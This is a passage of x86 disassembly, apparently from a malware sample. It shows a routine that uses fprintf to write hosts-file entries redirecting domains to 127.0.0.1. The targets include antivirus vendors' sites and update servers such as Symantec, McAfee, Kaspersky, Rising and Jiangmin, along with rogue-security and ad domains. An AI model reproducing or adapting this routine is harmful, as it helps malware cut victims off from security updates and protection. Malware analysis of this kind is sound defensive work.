		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_50 ; "\n127.0.0.1\twww.avp.ru"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_49 ; "\n127.0.0.1\twww.awaps.net"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ww_57 ; "\n127.0.0.1\twww.ca.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_48 ; "\n127.0.0.1\twww.fastclick.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_60 ; "\n127.0.0.1\twww.f-secure.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_k ; "\n127.0.0.1\twww.kaspersky.ru"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_62 ; "\n127.0.0.1\twww.mcafee.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_56 ; "\n127.0.0.1\twww.my-etrust.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_55 ; "\n127.0.0.1\twww.nai.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_58 ; "\n127.0.0.1\twww.networkassociates.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ww_63 ; "\n127.0.0.1\twww.sophos.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_65 ; "\n127.0.0.1\twww.symantec.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_54 ; "\n127.0.0.1\twww.trendmicro.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_v ; "\n127.0.0.1\twww.viruslist.ru"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www3_ ; "\n127.0.0.1\twww3.ca.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_47 ; "\n127.0.0.1\twww.advancedcleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Advan ; "\n127.0.0.1\tadvancedcleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sec_4 ; "\n127.0.0.1\tsecure.advancedcleaner.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Pro_2 ; "\n127.0.0.1\tprotect.advancedcleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Jsp_a ; "\n127.0.0.1\tjsp.advancedcleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Liveu ; "\n127.0.0.1\tliveupdatesnet.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_46 ; "\n127.0.0.1\twww.liveupdatesnet.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Thein ; "\n127.0.0.1\ttheinstalls.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_45 ; "\n127.0.0.1\twww.theinstalls.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Allof ; "\n127.0.0.1\tallofyouwant.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_h ; "\n127.0.0.1\twww.here4search.biz"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Here4 ; "\n127.0.0.1\there4search.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_44 ; "\n127.0.0.1\twww.smart-security.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Smart ; "\n127.0.0.1\tsmart-security.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_43 ; "\n127.0.0.1\twww.searchmeup.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sea_1 ; "\n127.0.0.1\tsearchmeup.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_42 ; "\n127.0.0.1\twww.iwantsearch.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Iwant ; "\n127.0.0.1\tiwantsearch.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_41 ; "\n127.0.0.1\twww.wideportal.net"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Widep ; "\n127.0.0.1\twideportal.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Calc_ ; "\n127.0.0.1\tcalc.avsystemcare.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Avsys ; "\n127.0.0.1\tavsystemcare.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Conte ; "\n127.0.0.1\tcontent.onerateld.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_o ; "\n127.0.0.1\twww.onerateld.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Prote ; "\n127.0.0.1\tprotect.trustedantivirus.com"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_40 ; "\n127.0.0.1\twww.trustedantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Iwant ; "\n127.0.0.1\tiwantsearch.net"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ww_42 ; "\n127.0.0.1\twww.iwantsearch.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Media ; "\n127.0.0.1\tmediacount.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_39 ; "\n127.0.0.1\twww.mediacount.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Bin_e ; "\n127.0.0.1\tbin.errorprotector.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_38 ; "\n127.0.0.1\twww.errorprotector.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Br_er ; "\n127.0.0.1\tbr.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_37 ; "\n127.0.0.1\twww.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Br__0 ; "\n127.0.0.1\tbr.winantivirus.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ww_36 ; "\n127.0.0.1\twww.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Br_wi ; "\n127.0.0.1\tbr.winfixer.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_35 ; "\n127.0.0.1\twww.winfixer.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Cdn_d ; "\n127.0.0.1\tcdn.drivecleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_34 ; "\n127.0.0.1\twww.drivecleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Cdn_e ; "\n127.0.0.1\tcdn.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_37 ; "\n127.0.0.1\twww.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Cdn_w ; "\n127.0.0.1\tcdn.winsoftware.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ww_33 ; "\n127.0.0.1\twww.winsoftware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1De_er ; "\n127.0.0.1\tde.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_37 ; "\n127.0.0.1\twww.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1De_wi ; "\n127.0.0.1\tde.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_36 ; "\n127.0.0.1\twww.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dow_9 ; "\n127.0.0.1\tdownload.cdn.drivecleaner.co"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dow_8 ; "\n127.0.0.1\tdownload.cdn.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dow_7 ; "\n127.0.0.1\tdownload.cdn.winsoftware.com"...
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Dow_6 ; "\n127.0.0.1\tdownload.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dow_5 ; "\n127.0.0.1\tdownload.systemdoctor.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dow_4 ; "\n127.0.0.1\tdownload.winantispyware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dow_3 ; "\n127.0.0.1\tdownload.windrivecleaner.com"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dow_2 ; "\n127.0.0.1\tdownload.winfixer.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Drive ; "\n127.0.0.1\tdrivecleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dynam ; "\n127.0.0.1\tdynamique.drivecleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Err_0 ; "\n127.0.0.1\terrorprotector.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Error ; "\n127.0.0.1\terrorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Es_wi ; "\n127.0.0.1\tes.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Fr__0 ; "\n127.0.0.1\tfr.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Fr_wi ; "\n127.0.0.1\tfr.winfixer.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Go_dr ; "\n127.0.0.1\tgo.drivecleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Go_er ; "\n127.0.0.1\tgo.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Go__0 ; "\n127.0.0.1\tgo.winantispyware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Go_wi ; "\n127.0.0.1\tgo.winantivirus.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Hk_wi ; "\n127.0.0.1\thk.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ins_1 ; "\n127.0.0.1\tinstlog.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ins_0 ; "\n127.0.0.1\tinstlog.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Instl ; "\n127.0.0.1\tinstlog.winfixer.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Jsp_d ; "\n127.0.0.1\tjsp.drivecleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Kb_er ; "\n127.0.0.1\tkb.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Kb_wi ; "\n127.0.0.1\tkb.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Nl_er ; "\n127.0.0.1\tnl.errorsafe.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Se_er ; "\n127.0.0.1\tse.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sec_3 ; "\n127.0.0.1\tsecure.drivecleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sec_2 ; "\n127.0.0.1\tsecure.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sec_1 ; "\n127.0.0.1\tsecure.winantispam.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sec_0 ; "\n127.0.0.1\tsecure.winantispy.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Secur ; "\n127.0.0.1\tsecure.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Suppo ; "\n127.0.0.1\tsupport.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Trial ; "\n127.0.0.1\ttrial.updates.winsoftware.co"...
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ulog_ ; "\n127.0.0.1\tulog.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Uti_1 ; "\n127.0.0.1\tutils.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Uti_0 ; "\n127.0.0.1\tutils.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Utils ; "\n127.0.0.1\tutils.winfixer.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Win_1 ; "\n127.0.0.1\twinantispyware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Winan ; "\n127.0.0.1\twinantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Win_0 ; "\n127.0.0.1\twinfixer.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Winfi ; "\n127.0.0.1\twinfixer2006.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Winso ; "\n127.0.0.1\twinsoftware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_34 ; "\n127.0.0.1\twww.drivecleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_38 ; "\n127.0.0.1\twww.errorprotector.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_37 ; "\n127.0.0.1\twww.errorsafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_32 ; "\n127.0.0.1\twww.systemdoctor.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_31 ; "\n127.0.0.1\twww.utils.winfixer.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_30 ; "\n127.0.0.1\twww.win-anti-virus-pro.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_29 ; "\n127.0.0.1\twww.win-virus-pro.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ww_28 ; "\n127.0.0.1\twww.winantispam.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_27 ; "\n127.0.0.1\twww.winantispy.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_26 ; "\n127.0.0.1\twww.winantispyware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_36 ; "\n127.0.0.1\twww.winantivirus.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_25 ; "\n127.0.0.1\twww.winantiviruspro.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_24 ; "\n127.0.0.1\twww.windrivecleaner.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_23 ; "\n127.0.0.1\twww.windrivesafe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_35 ; "\n127.0.0.1\twww.winfixer.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Ww_22 ; "\n127.0.0.1\twww.winfixer2006.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_33 ; "\n127.0.0.1\twww.winsoftware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_21 ; "\n127.0.0.1\twww.usagc.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_20 ; "\n127.0.0.1\twww.prospywareremover.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Prosp ; "\n127.0.0.1\tprospywareremover.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_19 ; "\n127.0.0.1\twww.noadware.com--e.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Noadw ; "\n127.0.0.1\tnoadware.com--e.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_w ; "\n127.0.0.1\twww.wwwadawear.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Wwwad ; "\n127.0.0.1\twwwadawear.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_18 ; "\n127.0.0.1\twww.free-spyware-scan.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Fre_0 ; "\n127.0.0.1\tfree-spyware-scan.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_17 ; "\n127.0.0.1\twww.spybotfinder.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Spybo ; "\n127.0.0.1\tspybotfinder.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_16 ; "\n127.0.0.1\twww.the-spyware-zone.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1TheSp ; "\n127.0.0.1\tthe-spyware-zone.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_d ; "\n127.0.0.1\twww.digitalreservoir.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Digit ; "\n127.0.0.1\tdigitalreservoir.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_f ; "\n127.0.0.1\twww.free-spyware.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1FreeS ; "\n127.0.0.1\tfree-spyware.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_15 ; "\n127.0.0.1\twww.spyware-control.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Spy_2 ; "\n127.0.0.1\tspyware-control.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_14 ; "\n127.0.0.1\twww.computerspywarecheck.com"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Compu ; "\n127.0.0.1\tcomputerspywarecheck.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_c ; "\n127.0.0.1\twww.compare-spyware.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Compa ; "\n127.0.0.1\tcompare-spyware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_13 ; "\n127.0.0.1\twww.spywareremoval.ws"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Spy_1 ; "\n127.0.0.1\tspywareremoval.ws"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_12 ; "\n127.0.0.1\twww.ridadware.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ridad ; "\n127.0.0.1\tridadware.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_e ; "\n127.0.0.1\twww.elimiware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Elimi ; "\n127.0.0.1\telimiware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_11 ; "\n127.0.0.1\twww.nomorespyware.net"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Nomor ; "\n127.0.0.1\tnomorespyware.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ww_10 ; "\n127.0.0.1\twww.123-spyware-remover.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1123Sp ; "\n127.0.0.1\t123-spyware-remover.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_9 ; "\n127.0.0.1\twww.spyware-adware-removal.n"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Spy_0 ; "\n127.0.0.1\tspyware-adware-removal.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_8 ; "\n127.0.0.1\twww.spytoaster.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Spyto ; "\n127.0.0.1\tspytoaster.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_7 ; "\n127.0.0.1\twww.spywareno.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Spywa ; "\n127.0.0.1\tspywareno.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_6 ; "\n127.0.0.1\twww.3bsoftware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_13bsof ; "\n127.0.0.1\t3bsoftware.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_5 ; "\n127.0.0.1\twww.softwaredoctor.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Softw ; "\n127.0.0.1\tsoftwaredoctor.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dou_0 ; "\n127.0.0.1\tdoubleclick.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Doubl ; "\n127.0.0.1\tdoubleclick.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Adhos ; "\n127.0.0.1\tadhostcenter.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Adtra ; "\n127.0.0.1\tadtrade.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_a ; "\n127.0.0.1\twww.adcycle.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Adver ; "\n127.0.0.1\tadvertising.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Serve ; "\n127.0.0.1\tservedby.advertising.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Commi ; "\n127.0.0.1\tcommission-junction.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dayra ; "\n127.0.0.1\tdayrates.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1AdFlo ; "\n127.0.0.1\tad-flow.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ads_a ; "\n127.0.0.1\tads.ad-flow.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Popup ; "\n127.0.0.1\tpopuptraffic.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Fas_0 ; "\n127.0.0.1\tfastclick.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Fastc ; "\n127.0.0.1\tfastclick.net"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Adser ; "\n127.0.0.1\tadserving.cpxinteractive.com"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_u ; "\n127.0.0.1\twww.usafis.org"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Braza ; "\n127.0.0.1\tbrazauskas.info"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Centr ; "\n127.0.0.1\tcentralgate.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Click ; "\n127.0.0.1\tclickfast.biz"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Cod_0 ; "\n127.0.0.1\tcode.jcash.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Code_ ; "\n127.0.0.1\tcode.trasferimento.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Cyber ; "\n127.0.0.1\tcyber-search.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dow_1 ; "\n127.0.0.1\tdownload.accessmedia.tv"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dow_0 ; "\n127.0.0.1\tdownload.jupitersatellites.b"...
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Exelo ; "\n127.0.0.1\texeloads.info"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Forli ; "\n127.0.0.1\tforlink.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Game4 ; "\n127.0.0.1\tgame4all.biz"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1GetAc ; "\n127.0.0.1\tget-access.host.sk"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Musah ; "\n127.0.0.1\tmusah.info"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Picsh ; "\n127.0.0.1\tpicshunter.us"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Preve ; "\n127.0.0.1\tprevedtraf.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Sea_0 ; "\n127.0.0.1\tsearch-biz.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Searc ; "\n127.0.0.1\tsearchx.cc"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1SPics ; "\n127.0.0.1\ts-pics.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Snow4 ; "\n127.0.0.1\tsnow410.info"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Sp2ad ; "\n127.0.0.1\tsp2admin.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Tra_2 ; "\n127.0.0.1\ttraff5all.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Tra_1 ; "\n127.0.0.1\ttraffbest.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Tra_0 ; "\n127.0.0.1\ttraffbucks.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Traff ; "\n127.0.0.1\ttraffmoney.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ultra ; "\n127.0.0.1\tultra-search.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_l ; "\n127.0.0.1\twww.lattefresco.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_4 ; "\n127.0.0.1\twww.picshunter.us"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Www_p ; "\n127.0.0.1\twww.procounter.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_2 ; "\n127.0.0.1\twww.searchx.cc"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_1 ; "\n127.0.0.1\twww.s-pics.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_0 ; "\n127.0.0.1\twww.sp2admin.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_s ; "\n127.0.0.1\twww.spamcatchero.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_t ; "\n127.0.0.1\twww.traff4ppc.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_z ; "\n127.0.0.1\twww.zgallery.us"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ybbwx ; "\n127.0.0.1\tybbwxlxytz.biz"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Yepjn ; "\n127.0.0.1\tyepjnddqpq.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Yhvoo ; "\n127.0.0.1\tyhvoo.eseconsult.info"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Zchxs ; "\n127.0.0.1\tzchxsikpgz.biz"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Zgall ; "\n127.0.0.1\tzgallery.us"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Mmsk_ ; "\n127.0.0.1\tmmsk.cn"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Ikaka ; "\n127.0.0.1\tikaka.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Safe_ ; "\n127.0.0.1\tsafe.qq.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1360sa ; "\n127.0.0.1\t360safe.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Www_m ; "\n127.0.0.1\twww.mmsk.cn"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_i ; "\n127.0.0.1\twww.ikaka.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Tool_ ; "\n127.0.0.1\ttool.ikaka.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Www_3 ; "\n127.0.0.1\twww.360safe.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Zs_ki ; "\n127.0.0.1\tzs.kingsoft.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Forum ; "\n127.0.0.1\tforum.ikaka.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Up_ri ; "\n127.0.0.1\tup.rising.com.cn"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Scan_ ; "\n127.0.0.1\tscan.kingsoft.com"
		push	esi
		call	edi	; fprintf
		add	esp, 40h
		push	offset a127_0_0_1Kvup_ ; "\n127.0.0.1\tkvup.jiangmin.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Reg_r ; "\n127.0.0.1\treg.rising.com.cn"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Upd_0 ; "\n127.0.0.1\tupdate.rising.com.cn"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Updat ; "\n127.0.0.1\tupdate7.jiangmin.com"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Downl ; "\n127.0.0.1\tdownload.rising.com.cn"
		push	esi
		call	edi	; fprintf
		push	offset a127_0_0_1Dn_28 ; "\n127.0.0.1\tdnl-us1.kaspersky-labs.com"
		push	esi
